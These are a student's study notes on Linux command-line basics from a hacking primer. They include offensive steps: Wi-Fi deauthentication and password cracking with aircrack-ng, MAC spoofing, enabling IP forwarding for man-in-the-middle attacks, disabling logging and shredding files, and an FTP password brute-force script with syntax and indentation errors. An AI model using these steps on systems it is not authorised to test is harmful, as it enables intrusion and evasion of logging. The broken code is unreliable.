Linux Basics for Hackers study notes

file system:

/root	The home directory of the all-powerful root user
/etc	Generally contains the Linux configuration files—files control when and how programs start up
/home	The user's home directory
/mnt	Where other file systems are file system that attached or mounted to the
/media	Where CDs and USB devices are usually attached or mounted to the filesystem
/bin	Where application binaries (the equivalent of executable in Microsoft Windows) reside
/lib	Where you'll find libraries (shared programs that are similar to Windows DLLs)

----

browsing:

>pwd	present working directory
>whoami	user name
>cd /	change directory
>cd	move up twice, etc
>ls	list all in directory
>ls -l	detailed
>ll	same above
>ls -la	all <hidden>
>name --help	provides help for application
>name -h	same above
>man name	opens manual

----

searching:

>locate name	finds all with name, updates once a day
>whereis name	finds programs with name
>which name	finds program in PATH
>find /location -type -name*	more specific
> **| grep name**	finds word from piped results

----

modifying files and directories:

>cat > **name**	create file with name, enter text ctrl+D to exit
>cat >> **name**	add to exiting
>touch > **name**	creates file with name (also modifies files attributes)
>mkdir > **name**	creates directory with name
>cp name /dirt/	copies name to new location (also new name if end is new name)
>mv name new name	renames file
>rm name	removes files
>rmdir	removes directory (if empty)
>rm -r name	empties directory and deletes it

>su	use root user privileges

Text Manipulation

>head -nX /file location/name	shows first X lines of file (10 default)
>tail -nX /file location/name	shows last X lines of file (10 default)
>nl /file location/name	numbers file lines (not empty lines)
>nl -b a /file location/name	numbers file lines including empty lines
>more /file location/name	shows file content page by page
>less /file location/name	shows file content type **/X** to search for X, type **n** for next
>sed s/X/Y/g /location/name > new name	replace X with Y (g for all X, use number for X order)
>echo "text" > /location/name	changes file content to *text*

----

changing network info:

>ifconfig	shows networks info
>iwconfig	shows wireless networks info
>ifconfig interface name IP	change chosen interface IP
>ifconfig interface name IP netmask IP broadcast IP	change ip, netmask, broadcast
>ifconfig interfacename down/up	close \ open interface
>ifconfig interfacename hw MAC	spoof mac address
>sudo ip addr flush interface name	clears yo shit before further modifications
>dhclient interface name	new address from DHCP server
>dig link ns	examine DNS (name server)
>dig link mx	examine DNS (email server)
/etc/resolv.conf	file for DNS address

If you're using a DHCP address and the DHCP server provides a DNS setting, the DHCP server will replace the contents of the file when it renews the DHCP address.

/etc/hosts	higher than DNS, type **IP TAB link** to redirect link to IP

----

adding/removing softwares:

>apt-get update	updates your repository list
>apt-get upgrade	updates all downloaded softwares
>apt-get install	install a software from the repository list
>apt-get remove	uninstall software (keeps sittings)
>apt-get purge	uninstall software and related sittings
>/etc/apt/sources.list	contains repository sources (can add/remove)
Synaptic	for GUI installation
>git clone	installing from github

File and directory permissions:

r	permission to read
w	permission to write
x	permission to excute
u	user
g	group
o	others
>chown user file	change owner of file
>chgrp group name file	change group owner of file

use ls -l to see files with details of permissions

>chmod xxx file change permission using numbers (where x is 0-7)

000	**0**	**---**
001	**1**	**--x**
010	**2**	**-w-**
011	**3**	**-wx**
100	**4**	**r--**
101	**5**	**r-x**
110	**6**	**rw-**
111	**7**	**rwx**

>chmod u/g/o -/+/= r/w/x, *more* file change permission using UGO syntax

>umask xxx file pr dir default permission on file or directory modified (x is subtracted from def)

linux default base permission is 666 for files and 777 for directories, in kali it's 644 and 755 (since the default *umask* is 022)

/home/user/.profile where default umask is saved

SUID (special user ID perm) add "4" before the xxx (will appear as s instead of x in access info)

SGID (special group ID perm) add "2" before the xxx (will appear as s instead of x in access info)

can use find to look for SUID such as (sudo find / -user root -perm -4000) where "4" is added

----

Process management:

>ps shows active processes (no details)

>ps aux shows active processes with details

>top shows most resource consuming processes

>nice -n X process file starts process with set priority where *-20<=X<=19* low num = high priority

>renice X PID changes a process priority using PID (process ID)

>kill -X PID kills a process, X is killing option number, PID is process ID

SIGHUB	*1*	*stops process and restarts it with same PID*
SIGINT	*2*	*interrupts, works most times*
SIGQUIT	*3*	*terminates process, saves current status in current working directory in file named core*
SIGTERM	*15*	*default kill command*
SIGKILL	*9*	*strongest, forces process to stop by sending it to /dev/null*

>killall X process name	kills all processes with specified process name
>X &	runs a process in the background, where X is process command
>fg PID	moves process with PID process ID to foreground
>at X	schedules a task to be done once at X time

```
at 7:20pm
at 7:20pm June 25
at noon
at noon June 25
at tomorrow
at now + x minutes
at now + x hours
at now + x days
at now + x weeks
at 7:20pm 06/25/2022
```

>cron	schedules a task to be done every X time

Managing User Environment Variables

>env	viewing default environment variables
>set	viewing all environment variables
>VariableName=X	where X is the new value for the variable

Note: changes are temporary by default, revert after closing terminal

>export VariableName	making named variable permanent
>set> ~/file.txt	saving all environment variables to file.txt
>PS1=X	changing shell prompt default to X
>echo $PATH	shows PATH folder sources
>PATH=$PATH:/location	adding location to PATH variables
>X=Y	creating new variable (X) with a value (Y)
>unset X	deletes variable X

Bash Scripting:

1- Creating bash script file should have **(.sh)** extension
2- Script should start with line **#! /bin/bash/**
3- Scripts are **non-executable by default**, change permission to execute

examples:

>**echo "x"**	prints "x"
>**read "x"**	reads user input and saves it as variable x
>**# comment**	entire line after # is comment and ignored by bash
>**$x**	call variable x

example for exerciser "IP Port scanner":

```
#! /bin/bash
#2nd question
echo "This is a Port over IP scanner"
echo "please enter the first IP address to scan:"
read FirstIP
echo "please enter the last octet of the last IP address to scan:"
read Octet
echo "Please enter the Port number to scan"
read Port
echo "Scanning...Please wait..."

nmap -sT $FirstIP-$Octet -p $Port > /dev/null -oG MySQLscan

cat MySQLscan | grep open > MySQLscan2

cat MySQLscan2
```

List of useful commands for bash:

:	*Returns 0 or true*
.	*Executes a shell script*
bg	*Puts a job in the background*
break	*Exits the current loop*
cd	*Changes directory*
continue	*Resumes the current loop*
echo	*Displays the command arguments*
eval	*Evaluates the following expression*
exec	*Executes the following command without creating a new process*
exit	*Quits the shell*
export	*Makes a variable or function available to other programs*
fg	*Brings a job to the foreground*

getopts	*Parses arguments to the shell script*
jobs	*Lists background (bg) jobs*
pwd	*Displays the current directory*
read	*Reads a line from standard input*
readonly	*Declares as variable as read-only*
set	*Lists all variables*
shift	*Moves the parameters to the left*
test	*Evaluates arguments*
[	*Performs a conditional test*
times	*Prints the user and system times*
trap	*Traps a signal*
type	*Displays how each argument would be interpreted as a command*
umask	*Changes the default permissions for a new file*
unset	*Deletes values from a variable or function*
wait	*Waits for a background process to complete*

Compressing and Archiving:

>tar -cvf A.tar X Y Z combine files X, Y, Z in A.tar, command options (c) create, (f) result file, (v) view combined files

>tar -tvf A.tar to view the combined files inside A.tar

>tar -xvf A.tar extract content of A.tar and remove A.tar

>compress A fastest compression tool, but least effective – A is file name produces *.tar.z*

>gzip A most common compression tool, mid eff, -A is file name, produces *.tar.gz* or *.tgz*

>bzip2 A most effective compression tool (slowest), produces *.tar.bz2*

to decompress use *gunzip A, or bunzip2 A, or uncompress A*

>dd if=X of=Y creates bit by bit copy (including deleted files) of X into Y

>dd options:

bs=X determine block size (number of bytes per block) default is 512, can increase to speed process (typically 4096)

conv:noerror continue copy even if there are errors encountered

dd if=A of=B bs=C conv:noerror

Filesystem and storage device management

>**fdisk -l** list partition table for disks

>**lsblk** list block: lists some basic information about each block device listed in /dev

>**mount X Y** mount device X on dir Y

>**umount X** unmount device X

>**df** Disk free – info on any hard disk or monted devices

>**df -h** df for human reading

>**fsck X** filesystem check – checks for errors in specified device X (MUST unmount first)

>**fsck -p X** repair option for fsck errors

The Logging System

/etc/rsyslog.conf file where system logging rules are written

auth / authpriv	Security/authorization messages
Cron	Clock daemons
Daemon	Other daemons
Kern	Kernel messages
Lpr	Printing system
Mail	Mail system
User	Generic user-level messages

valid codes for priority :

- debug
- info
- notice
- warning
- warn
- error
- err
- crit
- alert
- emerg
- panic

/etc/logrotate.conf	contains rules of rotating and archiving logs
>**shred -f -n X name**	shreds file, f option for changing permissions, X amount of rewrites
>**service rsyslog stop**	disabling the rsyslog daemon

Using And Abusing Services:

>**service X start**	start service name X
>**service X stop**	stops service X
>**service X restart**	restarts service X

Apatche Web Server:

>**service apatche2 start**	start apache2 (apatche web server)
http://localhost/	default webpage
/var/www/html/index.html	where localhost html is stored

OpenSSH (Open Secure Shell):

>**service ssh start**	start OpenSSH service
>**ssh USER@IP**	connect to a USER at IP address through SSH

Extracting information from MySQLscan2:

>**service mysql start**	starts MySQL service
>**mysql -u root -p**	authenticate user (default password is blank)
>**mysql -u root -p IP address**	authenticate user on IP address (remote database)

Select	Used to receive data
Union	Used to combine the results of two or more select operations
Insert	Used to add new data
Update	Used to modify existing data
Delete	Used to delete data

>**show databases;**	shows databases in MySQL
>**use X;**	uses database X
>**show tables;**	shows available tables in used databse
>**describe X;**	shows content of table X
>**SELECT X FROM Y**	shows content of X column from Y table (can use * wildcard for all)

Becoming Secure And Anonymous:

>**traceroute link**	lists route hops between you and destination
>**proxychains X**	proxies X (link, command, etc) through the chains in proxychains4.conf
/etc/proxychains4.conf	where proxies for proxychains are stored, with additional options

after ***#add proxies here*** you can list the proxychains proxies

#dynamic_chain option allows to skip to next proxy if one times out (comment out strict_chain)

#random_chain option allows to randomize X (chain_len=X) amount of proxies from list

encrypted email service example: *ProtonMail*

Understanding and Inspecting Wireless Networks:

>**iwlist X scan**	scans wifi networks using X as interface name
>**nmcli dev wifi**	shows available wifi networks
>**nmcli dev wifi connect X password Y**	connects to wifi network X with password Y

AP	Access Point
ESSID	Extended Service Set Identifier: can be used for multiple Aps in a wireless lan
BSSID	Basic Service Set Identifier: unique for each AP, same as MAC address for device
SSID	Service Set Identifier: Network Name
Channels	1-14, usually limited to 1-11
Power	closer to AP, higher power
Modes	Managed: rdy to join, or joined an AP, Master: rdy to act, or acting as AP, Monitor: monitoring traffic around

Wifi Recon with Aircrack-ng:

>**sudo airmon-ng start/stop/restart X**	starts/stops/restarts using monitor mode on X interface

Note: use iwconfig to find new Monitor mode interface name (probably wlan0mon)

>**sudo airodump-ng X**	scans are plots all monitored traffic using interface name X

Note: upper section shows APs, while lower section shows clients ready to join APs

Cracking Wi-fi:

open three terminals;

1- airodump-ng -c X --bssid Y -w Z H	captures all packets going to channel X, bssid Y, network name Z, using interface H
2- aireplay-ng –deauth 100 -a X-c Y Z	injects packets to deauthenticate connected client to AP with bssid X, and destination MAC Y interf Z
3- aircrack-ng -w worldlist.dic -b X Y	uses password list worldlist.dic to find password of BSSID X, using the captured hash Y (blabla.cap)

Detecting and Connecting to BlueTooth:

>**hciconfig**	similar to iwconfig, for bluetooth interface
>**hciconfig X up/down**	start/stop bluetooth interface
>**hcitool scan**	scan for devices with bluetooth in discovery mode
>**hcitool inq**	shows more information about discoverable devices
>**sdptool browse X**	browses all available services on a bluetooth device (X=MAC)
>**l2ping MAC -cX**	pings MAC for X times to see if device is reachable

Managing Linux Kernel and Loadable Kernel Modules:

>**uname -a**	checking for kernel version
>**cat /proc/version**	checking for kernel version (more info)
>**sysctl**	allows kernel tuning (until sys reboot)
/etc/sysctl.conf	*permanent system tuning*
>**sysctl -a**	display sysctl contents
example: sysctl -w net.ipv4.ip_forward=1	*changing net.ipv4.ip_forward=0 to =1 allows package forwarding for man in the middle attack*
>**lsmod**	lists kernel modules
>**modinfo X**	gives more info about X module name
>**modprobe -a / -r**	add/remove kernel module

---

Automating Tasks with Job Scheduling:

cron daemon & crontab (cron table)	for scheduling regular tasks
/etc/crontab	where crontable is located

1	minute	0-59	
2	hour	0-23	
3	day of mon	1-31	
4	month	1-12	
5	day of week	0-7	(0 is Sunday)

>**leafpad /etc/crontab**	edit cron table using leafpad

crontab shortcuts:
@yearly
@annualy
@monthly
@weekly
@daily
@midnight
@noon
@reboot

rc scripts	scripts that run at startup (init.d daemon)
/etc/init.d/rc.	Where auto ran scripts are saved
>update-rc.d X remove/defaults/enable/disable	to update auto ran tasks

runlevels

0	Halt the system
1	Single-user/minimal mode
2–5	Multiuser modes
6	Reboot the system

>rcconf	GUI for autorun services on startup

Python Scripting basics for hacking:

Python Modules:

>pip3 install X	download python modules from PyPI

packages are automatically downloaded in /usr/local//lib/<python-version>/dist-packages

>pip3 show X	show info about X package name
>python setup.py install	use in folder of downloaded package after unpack
>wget LINK	download from external source

Starting With Python Scripting:

>#! /usr/bin/python3	top of all python scripts
>X=Y	X variable name, Y contents

X = “XYZ”	String variables
X = 12	Integer variables
X = 3.13	Floating Point Variables
X = [1,2,X,R]	List Variables
X = {A:12, B:15}	Dictionary variables

>print (x)	print variable X, (“x”)~ print string x, (x[A]) for dic
># or “””	for single line or multi line comments

>functions:
examples

Exit()	Exits from a program
Float()	Returns its argument as a floating point number ~ 1 → 1.0
Help()	Displays help on the object specified by the argument
Int()	Returns the integer portion of the argument
Len()	Returns the number of elements in a list or a dictionary
Max()	Returns the maximum value of the argument (list)
Open()	Opens the file in the mode specified in the argument
Range()	returns a list of integers between two values specified by its arguments
Sorted()	Takes a list as an argument and returns it with elements in order
Type()	Returns the type of argument

>**import X** imports a python module into script

NOTE: chmod to execute scripts, default unexecutable

Scripts examples:

TCP Client:

```
#! /usr/bin/python3
import socket
s = socket.socket()
s.connect(("192.168.1.101", 22))
answer = s.recv(1024)
print (answer)
s.close
```

TCP Listener:

```
#! /usr/bin/python3
import socket
 TCP_IP = "192.168.181.190"
TCP_PORT = 6996
BUFFER_SIZE = 100
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.bind((TCP_IP, TCP_PORT))
 s.listen (1)
 conn, addr = s.accept()
print ('Connection address: ', addr )
while 1:
data=conn.recv(BUFFER_SIZE)
if not data:break
print ("Received data: ", data)
conn.send(data) #echo
conn.close
```

Bannergrabber:

```
#! /usr/bin/python3

import socket
Ports = [21,22,25,3306]

for i in range (0,4):
    s = socket.socket()
    try:
        s.connect (("192.168.1.112", Ports[i]))
        answer = s.recv (1024)
        print ('This Is the Banner for the Port', Ports[i], ":")
        print (answer)
        print ("")
        s.close ()
    except:
        print ("port", Ports[i], ": connection refused")
        print ("")
```

Exceptions and password cracker

```
#! /usr/bin/python3
import ftplib
 server = input(FTP Server: ")
 user = input("username: ")
 Passwordlist = input ("Path to Password List > ")
 try:
        with open(Passwordlist, 'r') as pw:
                for word in pw:
                word = word.strip ('\r').strip('\n')
                try:
                        ftp = ftplib.FTP(server)
                        ftp.login(user, word)


                print (Success! The password is ' + word)
        except:
                print('still trying...')
except:
        print ('Wordlist error')
```